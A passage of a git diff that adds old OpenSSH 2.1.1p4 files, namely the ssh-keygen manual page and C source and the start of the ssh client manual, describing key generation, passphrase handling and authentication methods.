authentication and ticket + passing. + + o supports one-time password authentication with skey(1). + +SEE ALSO + ssh(1), ssh-add(1), ssh-agent(1), sshd(8), + +BSD Experimental September 25, 1999 3 diff --git a/other/openssh-2.1.1p4/ssh-keygen.1 b/other/openssh-2.1.1p4/ssh-keygen.1 new file mode 100644 index 0000000..ce6626a --- /dev/null +++ b/other/openssh-2.1.1p4/ssh-keygen.1 @@ -0,0 +1,221 @@ +.\" -*- nroff -*- +.\" +.\" ssh-keygen.1 +.\" +.\" Author: Tatu Ylonen +.\" +.\" Copyright (c) 1995 Tatu Ylonen , Espoo, Finland +.\" All rights reserved +.\" +.\" Created: Sat Apr 22 23:55:14 1995 ylo +.\" +.\" $Id: ssh-keygen.1,v 1.19 2000/07/06 04:06:56 aaron Exp $ +.\" +.Dd September 25, 1999 +.Dt SSH-KEYGEN 1 +.Os +.Sh NAME +.Nm ssh-keygen +.Nd authentication key generation +.Sh SYNOPSIS +.Nm ssh-keygen +.Op Fl dq +.Op Fl b Ar bits +.Op Fl N Ar new_passphrase +.Op Fl C Ar comment +.Op Fl f Ar keyfile +.Nm ssh-keygen +.Fl p +.Op Fl P Ar old_passphrase +.Op Fl N Ar new_passphrase +.Op Fl f Ar keyfile +.Nm ssh-keygen +.Fl x +.Op Fl f Ar keyfile +.Nm ssh-keygen +.Fl X +.Op Fl f Ar keyfile +.Nm ssh-keygen +.Fl y +.Op Fl f Ar keyfile +.Nm ssh-keygen +.Fl c +.Op Fl P Ar passphrase +.Op Fl C Ar comment +.Op Fl f Ar keyfile +.Nm ssh-keygen +.Fl l +.Op Fl f Ar keyfile +.Nm ssh-keygen +.Fl R +.Sh DESCRIPTION +.Nm +generates and manages authentication keys for +.Xr ssh 1 . +.Nm +defaults to generating an RSA key for use by protocols 1.3 and 1.5; +specifying the +.Fl d +flag will create a DSA key instead for use by protocol 2.0. +.Pp +Normally each user wishing to use SSH +with RSA or DSA authentication runs this once to create the authentication +key in +.Pa $HOME/.ssh/identity +or +.Pa $HOME/.ssh/id_dsa . +Additionally, the system administrator may use this to generate host keys, +as seen in +.Pa /etc/rc . +.Pp +Normally this program generates the key and asks for a file in which +to store the private key. +The public key is stored in a file with the same name but +.Dq .pub +appended. +The program also asks for a passphrase. +The passphrase may be empty to indicate no passphrase +(host keys must have empty passphrase), or it may be a string of +arbitrary length. +Good passphrases are 10-30 characters long and are +not simple sentences or otherwise easily guessable (English +prose has only 1-2 bits of entropy per word, and provides very bad +passphrases). +The passphrase can be changed later by using the +.Fl p +option. +.Pp +There is no way to recover a lost passphrase. +If the passphrase is +lost or forgotten, you will have to generate a new key and copy the +corresponding public key to other machines. +.Pp +For RSA, there is also a comment field in the key file that is only for +convenience to the user to help identify the key. +The comment can tell what the key is for, or whatever is useful. +The comment is initialized to +.Dq user@host +when the key is created, but can be changed using the +.Fl c +option. +.Pp +After a key is generated, instructions below detail where the keys +should be placed to be activated. +.Pp +The options are as follows: +.Bl -tag -width Ds +.It Fl b Ar bits +Specifies the number of bits in the key to create. +Minimum is 512 bits. +Generally 1024 bits is considered sufficient, and key sizes +above that no longer improve security but make things slower. +The default is 1024 bits. +.It Fl c +Requests changing the comment in the private and public key files. +The program will prompt for the file containing the private keys, for +passphrase if the key has one, and for the new comment. +.It Fl f +Specifies the filename of the key file. +.It Fl l +Show fingerprint of specified private or public key file. +.It Fl p +Requests changing the passphrase of a private key file instead of +creating a new private key. +The program will prompt for the file +containing the private key, for the old passphrase, and twice for the +new passphrase. +.It Fl q +Silence +.Nm ssh-keygen . +Used by +.Pa /etc/rc +when creating a new key. +.It Fl C Ar comment +Provides the new comment. +.It Fl N Ar new_passphrase +Provides the new passphrase. +.It Fl P Ar passphrase +Provides the (old) passphrase. +.It Fl R +If RSA support is functional, immediately exits with code 0. If RSA +support is not functional, exits with code 1. This flag will be +removed once the RSA patent expires. +.It Fl x +This option will read a private +OpenSSH DSA format file and print a SSH2-compatible public key to stdout. +.It Fl X +This option will read a +SSH2-compatible public key file and print an OpenSSH DSA compatible public key to stdout. +.It Fl y +This option will read a private +OpenSSH DSA format file and print an OpenSSH DSA public key to stdout. +.El +.Sh FILES +.Bl -tag -width Ds +.It Pa $HOME/.ssh/identity +Contains the RSA authentication identity of the user. +This file should not be readable by anyone but the user. +It is possible to +specify a passphrase when generating the key; that passphrase will be +used to encrypt the private part of this file using 3DES. +This file is not automatically accessed by +.Nm +but it is offered as the default file for the private key. +.Xr sshd 8 +will read this file when a login attempt is made. +.It Pa $HOME/.ssh/identity.pub +Contains the public key for authentication. +The contents of this file should be added to +.Pa $HOME/.ssh/authorized_keys +on all machines +where you wish to log in using RSA authentication. +There is no need to keep the contents of this file secret. +.It Pa $HOME/.ssh/id_dsa +Contains the DSA authentication identity of the user. +This file should not be readable by anyone but the user. +It is possible to +specify a passphrase when generating the key; that passphrase will be +used to encrypt the private part of this file using 3DES. +This file is not automatically accessed by +.Nm +but it is offered as the default file for the private key. +.Xr sshd 8 +will read this file when a login attempt is made. +.It Pa $HOME/.ssh/id_dsa.pub +Contains the public key for authentication. +The contents of this file should be added to +.Pa $HOME/.ssh/authorized_keys2 +on all machines +where you wish to log in using DSA authentication. +There is no need to keep the contents of this file secret. +.El +.Sh AUTHOR +Tatu Ylonen +.Pp +OpenSSH +is a derivative of the original (free) ssh 1.2.12 release, but with bugs +removed and newer features re-added. +Rapidly after the 1.2.12 release, +newer versions bore successively more restrictive licenses. +This version of OpenSSH +.Bl -bullet +.It +has all components of a restrictive nature (i.e., patents) +directly removed from the source code; any licensed or patented components +are chosen from +external libraries. +.It +has been updated to support ssh protocol 1.5. +.It +contains added support for +.Xr kerberos 8 +authentication and ticket passing. +.It +supports one-time password authentication with +.Xr skey 1 . +.El +.Sh SEE ALSO +.Xr ssh 1 , +.Xr ssh-add 1 , +.Xr ssh-agent 1 , +.Xr sshd 8 , diff --git a/other/openssh-2.1.1p4/ssh-keygen.c b/other/openssh-2.1.1p4/ssh-keygen.c new file mode 100644 index 0000000..8a03f0d --- /dev/null +++ b/other/openssh-2.1.1p4/ssh-keygen.c @@ -0,0 +1,751 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1994 Tatu Ylonen , Espoo, Finland + * All rights reserved + * Created: Mon Mar 27 02:26:40 1995 ylo + * Identity and host key generation and maintenance. + */ + +#include "includes.h" +RCSID("$OpenBSD: ssh-keygen.c,v 1.29 2000/07/15 04:01:37 djm Exp $"); + +#include +#include +#include +#include + +#include "ssh.h" +#include "xmalloc.h" +#include "fingerprint.h" +#include "key.h" +#include "rsa.h" +#include "dsa.h" +#include "authfile.h" +#include "uuencode.h" + +/* Number of bits in the RSA/DSA key. This value can be changed on the command line. */ +int bits = 1024; + +/* + * Flag indicating that we just want to change the passphrase. This can be + * set on the command line. + */ +int change_passphrase = 0; + +/* + * Flag indicating that we just want to change the comment. This can be set + * on the command line. + */ +int change_comment = 0; + +int quiet = 0; + +/* Flag indicating that we just want to see the key fingerprint */ +int print_fingerprint = 0; + +/* The identity file name, given on the command line or entered by the user. */ +char identity_file[1024]; +int have_identity = 0; + +/* This is set to the passphrase if given on the command line. */ +char *identity_passphrase = NULL; + +/* This is set to the new passphrase if given on the command line. */ +char *identity_new_passphrase = NULL; + +/* This is set to the new comment if given on the command line. */ +char *identity_comment = NULL; + +/* Dump public key file in format used by real and the original SSH 2 */ +int convert_to_ssh2 = 0; +int convert_from_ssh2 = 0; +int print_public = 0; +int dsa_mode = 0; + +/* argv0 */ +#ifdef HAVE___PROGNAME +extern char *__progname; +#else /* HAVE___PROGNAME */ +static const char *__progname = "ssh-keygen"; +#endif /* HAVE___PROGNAME */ + +char hostname[MAXHOSTNAMELEN]; + +void +ask_filename(struct passwd *pw, const char *prompt) +{ + char buf[1024]; + snprintf(identity_file, sizeof(identity_file), "%s/%s", + pw->pw_dir, + dsa_mode ? SSH_CLIENT_ID_DSA: SSH_CLIENT_IDENTITY); + printf("%s (%s): ", prompt, identity_file); + fflush(stdout); + if (fgets(buf, sizeof(buf), stdin) == NULL) + exit(1); + if (strchr(buf, '\n')) + *strchr(buf, '\n') = 0; + if (strcmp(buf, "") != 0) + strlcpy(identity_file, buf, sizeof(identity_file)); + have_identity = 1; +} + +int +try_load_key(char *filename, Key *k) +{ + int success = 1; + if (!load_private_key(filename, "", k, NULL)) { + char *pass = read_passphrase("Enter passphrase: ", 1); + if (!load_private_key(filename, pass, k, NULL)) { + success = 0; + } + memset(pass, 0, strlen(pass)); + xfree(pass); + } + return success; +} + +#define SSH_COM_MAGIC_BEGIN "---- BEGIN SSH2 PUBLIC KEY ----" +#define SSH_COM_MAGIC_END "---- END SSH2 PUBLIC KEY ----" + +void +do_convert_to_ssh2(struct passwd *pw) +{ + Key *k; + int len; + unsigned char *blob; + struct stat st; + + if (!have_identity) + ask_filename(pw, "Enter file in which the key is"); + if (stat(identity_file, &st) < 0) { + perror(identity_file); + exit(1); + } + k = key_new(KEY_DSA); + if (!try_load_key(identity_file, k)) { + fprintf(stderr, "load failed\n"); + exit(1); + } + dsa_make_key_blob(k, &blob, &len); + fprintf(stdout, "%s\n", SSH_COM_MAGIC_BEGIN); + fprintf(stdout, + "Comment: \"%d-bit DSA, converted from openssh by %s@%s\"\n", + BN_num_bits(k->dsa->p), + pw->pw_name, hostname); + dump_base64(stdout, blob, len); + fprintf(stdout, "%s\n", SSH_COM_MAGIC_END); + key_free(k); + xfree(blob); + exit(0); +} + +void +do_convert_from_ssh2(struct passwd *pw) +{ + Key *k; + int blen; + char line[1024], *p; + char blob[8096]; + char encoded[8096]; + struct stat st; + int escaped = 0; + FILE *fp; + + if (!have_identity) + ask_filename(pw, "Enter file in which the key is"); + if (stat(identity_file, &st) < 0) { + perror(identity_file); + exit(1); + } + fp = fopen(identity_file, "r"); + if (fp == NULL) { + perror(identity_file); + exit(1); + } + encoded[0] = '\0'; + while (fgets(line, sizeof(line), fp)) { + if (!(p = strchr(line, '\n'))) { + fprintf(stderr, "input line too long.\n"); + exit(1); + } + if (p > line && p[-1] == '\\') + escaped++; + if (strncmp(line, "----", 4) == 0 || + strstr(line, ": ") != NULL) { + fprintf(stderr, "ignore: %s", line); + continue; + } + if (escaped) { + escaped--; + fprintf(stderr, "escaped: %s", line); + continue; + } + *p = '\0'; + strlcat(encoded, line, sizeof(encoded)); + } + blen = uudecode(encoded, (unsigned char *)blob, sizeof(blob)); + if (blen < 0) { + fprintf(stderr, "uudecode failed.\n"); + exit(1); + } + k = dsa_key_from_blob(blob, blen); + if (!key_write(k, stdout)) + fprintf(stderr, "key_write failed"); + key_free(k); + fprintf(stdout, "\n"); + fclose(fp); + exit(0); +} + +void +do_print_public(struct passwd *pw) +{ + Key *k; + int len; + unsigned char *blob; + struct stat st; + + if (!have_identity) + ask_filename(pw, "Enter file in which the key is"); + if (stat(identity_file, &st) < 0) { + perror(identity_file); + exit(1); + } + k = key_new(KEY_DSA); + if (!try_load_key(identity_file, k)) { + fprintf(stderr, "load failed\n"); + exit(1); + } + dsa_make_key_blob(k, &blob, &len); + if (!key_write(k, stdout)) + fprintf(stderr, "key_write failed"); + key_free(k); + xfree(blob); + fprintf(stdout, "\n"); + exit(0); +} + +void +do_fingerprint(struct passwd *pw) +{ + FILE *f; + BIGNUM *e, *n; + Key *public; + char *comment = NULL, *cp, *ep, line[16*1024]; + int i, skip = 0, num = 1, invalid = 1; + unsigned int ignore; + struct stat st; + + if (!have_identity) + ask_filename(pw, "Enter file in which the key is"); + if (stat(identity_file, &st) < 0) { + perror(identity_file); + exit(1); + } + public = key_new(KEY_RSA); + if (load_public_key(identity_file, public, &comment)) { + printf("%d %s %s\n", BN_num_bits(public->rsa->n), + key_fingerprint(public), comment); + key_free(public); + exit(0); + } + key_free(public); + + /* XXX */ + f = fopen(identity_file, "r"); + if (f != NULL) { + n = BN_new(); + e = BN_new(); + while (fgets(line, sizeof(line), f)) { + i = strlen(line) - 1; + if (line[i] != '\n') { + error("line %d too long: %.40s...", num, line); + skip = 1; + continue; + } + num++; + if (skip) { + skip = 0; + continue; + } + line[i] = '\0'; + + /* Skip leading whitespace, empty and comment lines. */ + for (cp = line; *cp == ' ' || *cp == '\t'; cp++) + ; + if (!*cp || *cp == '\n' || *cp == '#') + continue ; + i = strtol(cp, &ep, 10); + if (i == 0 || ep == NULL || (*ep != ' ' && *ep != '\t')) { + int quoted = 0; + comment = cp; + for (; *cp && (quoted || (*cp != ' ' && *cp != '\t')); cp++) { + if (*cp == '\\' && cp[1] == '"') + cp++; /* Skip both */ + else if (*cp == '"') + quoted = !quoted; + } + if (!*cp) + continue; + *cp++ = '\0'; + } + ep = cp; + if (auth_rsa_read_key(&cp, &ignore, e, n)) { + invalid = 0; + comment = *cp ? cp : comment; + printf("%d %s %s\n", BN_num_bits(n), + fingerprint(e, n), + comment ? comment : "no comment"); + } + } + BN_free(e); + BN_free(n); + fclose(f); + } + if (invalid) { + printf("%s is not a valid key file.\n", identity_file); + exit(1); + } + exit(0); +} + +/* + * Perform changing a passphrase. The argument is the passwd structure + * for the current user. + */ +void +do_change_passphrase(struct passwd *pw) +{ + char *comment; + char *old_passphrase, *passphrase1, *passphrase2; + struct stat st; + Key *private; + Key *public; + int type = dsa_mode ? KEY_DSA : KEY_RSA; + + if (!have_identity) + ask_filename(pw, "Enter file in which the key is"); + if (stat(identity_file, &st) < 0) { + perror(identity_file); + exit(1); + } + + if (type == KEY_RSA) { + /* XXX this works currently only for RSA */ + public = key_new(type); + if (!load_public_key(identity_file, public, NULL)) { + printf("%s is not a valid key file.\n", identity_file); + exit(1); + } + /* Clear the public key since we are just about to load the whole file. */ + key_free(public); + } + + /* Try to load the file with empty passphrase. */ + private = key_new(type); + if (!load_private_key(identity_file, "", private, &comment)) { + if (identity_passphrase) + old_passphrase = xstrdup(identity_passphrase); + else + old_passphrase = read_passphrase("Enter old passphrase: ", 1); + if (!load_private_key(identity_file, old_passphrase, private, &comment)) { + memset(old_passphrase, 0, strlen(old_passphrase)); + xfree(old_passphrase); + printf("Bad passphrase.\n"); + exit(1); + } + memset(old_passphrase, 0, strlen(old_passphrase)); + xfree(old_passphrase); + } + printf("Key has comment '%s'\n", comment); + + /* Ask the new passphrase (twice). */ + if (identity_new_passphrase) { + passphrase1 = xstrdup(identity_new_passphrase); + passphrase2 = NULL; + } else { + passphrase1 = + read_passphrase("Enter new passphrase (empty for no passphrase): ", 1); + passphrase2 = read_passphrase("Enter same passphrase again: ", 1); + + /* Verify that they are the same. */ + if (strcmp(passphrase1, passphrase2) != 0) { + memset(passphrase1, 0, strlen(passphrase1)); + memset(passphrase2, 0, strlen(passphrase2)); + xfree(passphrase1); + xfree(passphrase2); + printf("Pass phrases do not match. Try again.\n"); + exit(1); + } + /* Destroy the other copy. */ + memset(passphrase2, 0, strlen(passphrase2)); + xfree(passphrase2); + } + + /* Save the file using the new passphrase. */ + if (!save_private_key(identity_file, passphrase1, private, comment)) { + printf("Saving the key failed: %s: %s.\n", + identity_file, strerror(errno)); + memset(passphrase1, 0, strlen(passphrase1)); + xfree(passphrase1); + key_free(private); + xfree(comment); + exit(1); + } + /* Destroy the passphrase and the copy of the key in memory. */ + memset(passphrase1, 0, strlen(passphrase1)); + xfree(passphrase1); + key_free(private); /* Destroys contents */ + xfree(comment); + + printf("Your identification has been saved with the new passphrase.\n"); + exit(0); +} + +/* + * Change the comment of a private key file. + */ +void +do_change_comment(struct passwd *pw) +{ + char new_comment[1024], *comment; + Key *private; + Key *public; + char *passphrase; + struct stat st; + FILE *f; + + if (!have_identity) + ask_filename(pw, "Enter file in which the key is"); + if (stat(identity_file, &st) < 0) { + perror(identity_file); + exit(1); + } + /* + * Try to load the public key from the file the verify that it is + * readable and of the proper format. + */ + public = key_new(KEY_RSA); + if (!load_public_key(identity_file, public, NULL)) { + printf("%s is not a valid key file.\n", identity_file); + exit(1); + } + + private = key_new(KEY_RSA); + if (load_private_key(identity_file, "", private, &comment)) + passphrase = xstrdup(""); + else { + if (identity_passphrase) + passphrase = xstrdup(identity_passphrase); + else if (identity_new_passphrase) + passphrase = xstrdup(identity_new_passphrase); + else + passphrase = read_passphrase("Enter passphrase: ", 1); + /* Try to load using the passphrase. */ + if (!load_private_key(identity_file, passphrase, private, &comment)) { + memset(passphrase, 0, strlen(passphrase)); + xfree(passphrase); + printf("Bad passphrase.\n"); + exit(1); + } + } + printf("Key now has comment '%s'\n", comment); + + if (identity_comment) { + strlcpy(new_comment, identity_comment, sizeof(new_comment)); + } else { + printf("Enter new comment: "); + fflush(stdout); + if (!fgets(new_comment, sizeof(new_comment), stdin)) { + memset(passphrase, 0, strlen(passphrase)); + key_free(private); + exit(1); + } + if (strchr(new_comment, '\n')) + *strchr(new_comment, '\n') = 0; + } + + /* Save the file using the new passphrase. */ + if (!save_private_key(identity_file, passphrase, private, new_comment)) { + printf("Saving the key failed: %s: %s.\n", + identity_file, strerror(errno)); + memset(passphrase, 0, strlen(passphrase)); + xfree(passphrase); + key_free(private); + xfree(comment); + exit(1); + } + memset(passphrase, 0, strlen(passphrase)); + xfree(passphrase); + key_free(private); + + strlcat(identity_file, ".pub", sizeof(identity_file)); + f = fopen(identity_file, "w"); + if (!f) { + printf("Could not save your public key in %s\n", identity_file); + exit(1); + } + if (!key_write(public, f)) + fprintf(stderr, "write key failed"); + key_free(public); + fprintf(f, " %s\n", new_comment); + fclose(f); + + xfree(comment); + + printf("The comment in your key file has been changed.\n"); + exit(0); +} + +void +usage(void) +{ + printf("Usage: %s [-lpqxXydc] [-b bits] [-f file] [-C comment] [-N new-pass] [-P pass]\n", __progname); + exit(1); +} + +/* + * Main program for key management. + */ +int +main(int ac, char **av) +{ + char dotsshdir[16 * 1024], comment[1024], *passphrase1, *passphrase2; + struct passwd *pw; + int opt; + struct stat st; + FILE *f; + Key *private; + Key *public; + extern int optind; + extern char *optarg; + + init_rng(); + + SSLeay_add_all_algorithms(); + + /* we need this for the home * directory. */ + pw = getpwuid(getuid()); + if (!pw) { + printf("You don't exist, go away!\n"); + exit(1); + } + if (gethostname(hostname, sizeof(hostname)) < 0) { + perror("gethostname"); + exit(1); + } + + while ((opt = getopt(ac, av, "dqpclRxXyb:f:P:N:C:")) != EOF) { + switch (opt) { + case 'b': + bits = atoi(optarg); + if (bits < 512 || bits > 32768) { + printf("Bits has bad value.\n"); + exit(1); + } + break; + + case 'l': + print_fingerprint = 1; + break; + + case 'p': + change_passphrase = 1; + break; + + case 'c': + change_comment = 1; + break; + + case 'f': + strlcpy(identity_file, optarg, sizeof(identity_file)); + have_identity = 1; + break; + + case 'P': + identity_passphrase = optarg; + break; + + case 'N': + identity_new_passphrase = optarg; + break; + + case 'C': + identity_comment = optarg; + break; + + case 'q': + quiet = 1; + break; + + case 'R': + if (rsa_alive() == 0) + exit(1); + else + exit(0); + break; + + case 'x': + convert_to_ssh2 = 1; + break; + + case 'X': + convert_from_ssh2 = 1; + break; + + case 'y': + print_public = 1; + break; + + case 'd': + dsa_mode = 1; + break; + + case '?': + default: + usage(); + } + } + if (optind < ac) { + printf("Too many arguments.\n"); + usage(); + } + if (change_passphrase && change_comment) { + printf("Can only have one of -p and -c.\n"); + usage(); + } + /* check if RSA support is needed and exists */ + if (dsa_mode == 0 && rsa_alive() == 0) { + fprintf(stderr, + "%s: no RSA support in libssl and libcrypto. See ssl(8).\n", + __progname); + exit(1); + } + if (print_fingerprint) + do_fingerprint(pw); + if (change_passphrase) + do_change_passphrase(pw); + if (change_comment) + do_change_comment(pw); + if (convert_to_ssh2) + do_convert_to_ssh2(pw); + if (convert_from_ssh2) + do_convert_from_ssh2(pw); + if (print_public) + do_print_public(pw); + + arc4random_stir(); + + if (dsa_mode != 0) { + if (!quiet) + printf("Generating DSA parameter and key.\n"); + public = private = dsa_generate_key(bits); + if (private == NULL) { + fprintf(stderr, "dsa_generate_keys failed"); + exit(1); + } + } else { + if (quiet) + rsa_set_verbose(0); + /* Generate the rsa key pair. */ + public = key_new(KEY_RSA); + private = key_new(KEY_RSA); + rsa_generate_key(private->rsa, public->rsa, bits); + } + + if (!have_identity) + ask_filename(pw, "Enter file in which to save the key"); + + /* Create ~/.ssh directory if it doesn\'t already exist. */ + snprintf(dotsshdir, sizeof dotsshdir, "%s/%s", pw->pw_dir, SSH_USER_DIR); + if (strstr(identity_file, dotsshdir) != NULL && + stat(dotsshdir, &st) < 0) { + if (mkdir(dotsshdir, 0700) < 0) + error("Could not create directory '%s'.", dotsshdir); + else if (!quiet) + printf("Created directory '%s'.\n", dotsshdir); + } + /* If the file already exists, ask the user to confirm. */ + if (stat(identity_file, &st) >= 0) { + char yesno[3]; + printf("%s already exists.\n", identity_file); + printf("Overwrite (y/n)? "); + fflush(stdout); + if (fgets(yesno, sizeof(yesno), stdin) == NULL) + exit(1); + if (yesno[0] != 'y' && yesno[0] != 'Y') + exit(1); + } + /* Ask for a passphrase (twice). */ + if (identity_passphrase) + passphrase1 = xstrdup(identity_passphrase); + else if (identity_new_passphrase) + passphrase1 = xstrdup(identity_new_passphrase); + else { +passphrase_again: + passphrase1 = + read_passphrase("Enter passphrase (empty for no passphrase): ", 1); + passphrase2 = read_passphrase("Enter same passphrase again: ", 1); + if (strcmp(passphrase1, passphrase2) != 0) { + /* The passphrases do not match. Clear them and retry. */ + memset(passphrase1, 0, strlen(passphrase1)); + memset(passphrase2, 0, strlen(passphrase2)); + xfree(passphrase1); + xfree(passphrase2); + printf("Passphrases do not match. Try again.\n"); + goto passphrase_again; + } + /* Clear the other copy of the passphrase. */ + memset(passphrase2, 0, strlen(passphrase2)); + xfree(passphrase2); + } + + if (identity_comment) { + strlcpy(comment, identity_comment, sizeof(comment)); + } else { + /* Create default commend field for the passphrase. */ + snprintf(comment, sizeof comment, "%s@%s", pw->pw_name, hostname); + } + + /* Save the key with the given passphrase and comment. */ + if (!save_private_key(identity_file, passphrase1, private, comment)) { + printf("Saving the key failed: %s: %s.\n", + identity_file, strerror(errno)); + memset(passphrase1, 0, strlen(passphrase1)); + xfree(passphrase1); + exit(1); + } + /* Clear the passphrase. */ + memset(passphrase1, 0, strlen(passphrase1)); + xfree(passphrase1); + + /* Clear the private key and the random number generator. */ + if (private != public) { + key_free(private); + } + arc4random_stir(); + + if (!quiet) + printf("Your identification has been saved in %s.\n", identity_file); + + strlcat(identity_file, ".pub", sizeof(identity_file)); + f = fopen(identity_file, "w"); + if (!f) { + printf("Could not save your public key in %s\n", identity_file); + exit(1); + } + if (!key_write(public, f)) + fprintf(stderr, "write key failed"); + fprintf(f, " %s\n", comment); + fclose(f); + + if (!quiet) { + printf("Your public key has been saved in %s.\n", + identity_file); + printf("The key fingerprint is:\n"); + printf("%s %s\n", key_fingerprint(public), comment); + } + + key_free(public); + exit(0); +} diff --git a/other/openssh-2.1.1p4/ssh.0 b/other/openssh-2.1.1p4/ssh.0 new file mode 100644 index 0000000..b62d1db --- /dev/null +++ b/other/openssh-2.1.1p4/ssh.0 @@ -0,0 +1,811 @@ + +SSH(1) System Reference Manual SSH(1) + +NAME + ssh - OpenSSH secure shell client (remote login program) + +SYNOPSIS + ssh [-l login_name] [hostname | user@hostname] [command] + + ssh [-afgknqtvxACNPTX246] [-c cipher_spec] [-e escape_char] [-i + identity_file] [-l login_name] [-o option] [-p port] [-L + port:host:hostport] [-R port:host:hostport] [hostname | + user@hostname] [command] + +DESCRIPTION + ssh (Secure Shell) is a program for logging into a remote machine and for + executing commands on a remote machine. It is intended to replace rlogin + and rsh, and provide secure encrypted communications between two untrust- + ed hosts over an insecure network. X11 connections and arbitrary TCP/IP + ports can also be forwarded over the secure channel. + + ssh connects and logs into the specified hostname. The user must prove + his/her identity to the remote machine using one of several methods de- + pending on the protocol version used: + + SSH protocol version 1 + + First, if the machine the user logs in from is listed in /etc/hosts.equiv + or /etc/shosts.equiv on the remote machine, and the user names are the + same on both sides, the user is immediately permitted to log in. Second, + if .rhosts or .shosts exists in the user's home directory on the remote + machine and contains a line containing the name of the client machine and + the name of the user on that machine, the user is permitted to log in. + This form of authentication alone is normally not allowed by the server + because it is not secure. + + The second (and primary) authentication method is the rhosts or + hosts.equiv method combined with RSA-based host authentication. It means + that if the login would be permitted by $HOME/.rhosts, $HOME/.shosts, + /etc/hosts.equiv, or /etc/shosts.equiv, and if additionally the server + can verify the client's host key (see /etc/ssh_known_hosts and + $HOME/.ssh/known_hosts in the FILES section), only then login is permit- + ted. This authentication method closes security holes due to IP spoof- + ing, DNS spoofing and routing spoofing. [Note to the administrator: + /etc/hosts.equiv, $HOME/.rhosts, and the rlogin/rsh protocol in general, + are inherently insecure and should be disabled if security is desired.] + + As a third authentication method, ssh supports RSA based authentication. + The scheme is based on public-key cryptography: there are cryptosystems + where encryption and decryption are done using separate keys, and it is + not possible to derive the decryption key from the encryption key. RSA + is one such system. The idea is that each user creates a public/private + key pair for authentication purposes. The server knows the public key, + and only the user knows the private key. The file + $HOME/.ssh/authorized_keys lists the public keys that are permitted for + logging in. When the user logs in, the ssh program tells the server + which key pair it would like to use for authentication. The server + checks if this key is permitted, and if so, sends the user (actually the + ssh program running on behalf of the user) a challenge, a random number, + encrypted by the user's public key. The challenge can only be decrypted + using the proper private key. The user's client then decrypts the chal- + lenge using the private key, proving that he/she knows the private key + but without disclosing it to the server. + + + ssh implements the RSA authentication protocol automatically. The user + creates his/her RSA key pair by running ssh-keygen(1). This stores the + private key in $HOME/.ssh/identity and the public key in + $HOME/.ssh/identity.pub in the user's home directory. The user should + then copy the identity.pub to $HOME/.ssh/authorized_keys in his/her home + directory on the remote machine (the authorized_keys file corresponds to + the conventional $HOME/.rhosts file, and has one key per line, though the + lines can be very long). After this, the user can log in without giving + the password. RSA authentication is much more secure than rhosts authen- + tication. + + The most convenient way to use RSA authentication may be with an authen- + tication agent. See ssh-agent(1) for more information. + + If other authentication methods fail, ssh prompts the user for a pass- + word. The password is sent to the remote host for checking; however, + since all communications are encrypted, the password cannot be seen by + someone listening on the network. + + SSH protocol version 2 + + When a user connects using the protocol version 2 different authentica- + tion methods are available: At first, the client attempts to authenticate + using the public key method. If this method fails password authentica- + tion is tried. + + The public key method is similar to RSA authentication described in the + previous section except that the DSA algorithm is used instead of the + patented RSA algorithm. The client uses his private DSA key + $HOME/.ssh/id_dsa to sign the session identifier and sends the result to + the server. The server checks whether the matching public key is listed + in $HOME/.ssh/authorized_keys2 and grants access if both the key is found + and the signature is correct. The session identifier is derived from a + shared Diffie-Hellman value and is only known to the client and the serv- + er. + + If public key authentication fails or is not available a password can be + sent encrypted to the remote host for proving the user's identity. This + protocol 2 implementation does not yet support Kerberos or S/Key authen- + tication. + + Protocol 2 provides additional mechanisms for confidentiality (the traf- + fic is encrypted using 3DES, Blowfish, CAST128 or Arcfour) and integrity + (hmac-sha1, hmac-md5). Note that protocol 1 lacks a strong mechanism for + ensuring the integrity of the connection. + + Login session and remote execution + + When the user's identity has been accepted by the server, the server ei- + ther executes the given command, or logs into the machine and gives the + user a normal shell on the remote machine. All communication with the + remote command or shell will be automatically encrypted. + + If a pseudo-terminal has been allocated (normal login session), the user + can disconnect with ~., and suspend ssh with ~^Z. All forwarded connec- + tions can be listed with ~# and if the session blocks waiting for for- + warded X11 or TCP/IP connections to terminate, it can be backgrounded + with ~& (this should not be used while the user shell is active, as it + can cause the shell to hang). All available escapes can be listed with + ~?. + + A single tilde character can be sent as ~~ (or by following the tilde by + a character other than those described above). The escape character must + always follow a newline to be interpreted as special. The escape charac- + ter can be changed in configuration files or on the command line. + + + If no pseudo tty has been allocated, the session is transparent and can + be used to reliably transfer binary data. On most systems, setting the + escape character to ``none'' will also make the session transparent even + if a tty is used. + + The session terminates when the command or shell in on the remote machine + exists and all X11 and TCP/IP connections have been closed. The exit + status of the remote program is returned as the exit status of ssh. + + X11 and TCP forwarding + + If the user is using X11 (the DISPLAY environment variable is set), the + connection to the X11 display is automatically forwarded to the remote + side in such a way that any X11 programs started from the shell (or com- + mand) will go through the encrypted channel, and the connection to the + real X server will be made from the local machine. The user should not + manually set DISPLAY. Forwarding of X11 connections can be configured on + the command line or in configuration files. + + The DISPLAY value set by ssh will point to the server machine, but with a + display number greater than zero. This is normal, and happens because + ssh creates a ``proxy'' X server on the server machine for forwarding the + connections over the encrypted channel. + + ssh will also automatically set up Xauthority data on the server machine. + For this purpose, it will generate a random authorization cookie, store + it in Xauthority on the server, and verify that any forwarded connections + carry this cookie and replace it by the real cookie when the connection + is opened. The real authentication cookie is never sent to the server + machine (and no cookies are sent in the plain). + + If the user is using an authentication agent, the connection to the agent + is automatically forwarded to the remote side unless disabled on command + line or in a configuration file. + + Forwarding of arbitrary TCP/IP connections over the secure channel can be + specified either on command line or in a configuration file. One possi- + ble application of TCP/IP forwarding is a secure connection to an elec- + tronic purse; another is going trough firewalls. + + Server authentication + + ssh automatically maintains and checks a database containing identifica- + tions for all hosts it has ever been used with. RSA host keys are stored + in $HOME/.ssh/known_hosts and DSA host keys are stored in + $HOME/.ssh/known_hosts2 in the user's home directory. Additionally, the + files /etc/ssh_known_hosts and /etc/ssh_known_hosts2 are automatically + checked for known hosts. Any new hosts are automatically added to the + user's file. If a host's identification ever changes, ssh warns about + this and disables password authentication to prevent a trojan horse from + getting the user's password. Another purpose of this mechanism is to + prevent man-in-the-middle attacks which could otherwise be used to cir- + cumvent the encryption. The StrictHostKeyChecking option (see below) can + be used to prevent logins to machines whose host key is not known or has + changed. + +OPTIONS + -a Disables forwarding of the authentication agent connection. + + -A Enables forwarding of the authentication agent connection. This + can also be specified on a per-host basis in a configuration + file. + + -c blowfish|3des + Selects the cipher to use for encrypting the session. 3des is + used by default. It is believed to be secure. 3des (triple-des) + is an encrypt-decrypt-encrypt triple with three different keys. + It is presumably more secure than the des cipher which is no + longer supported in ssh. 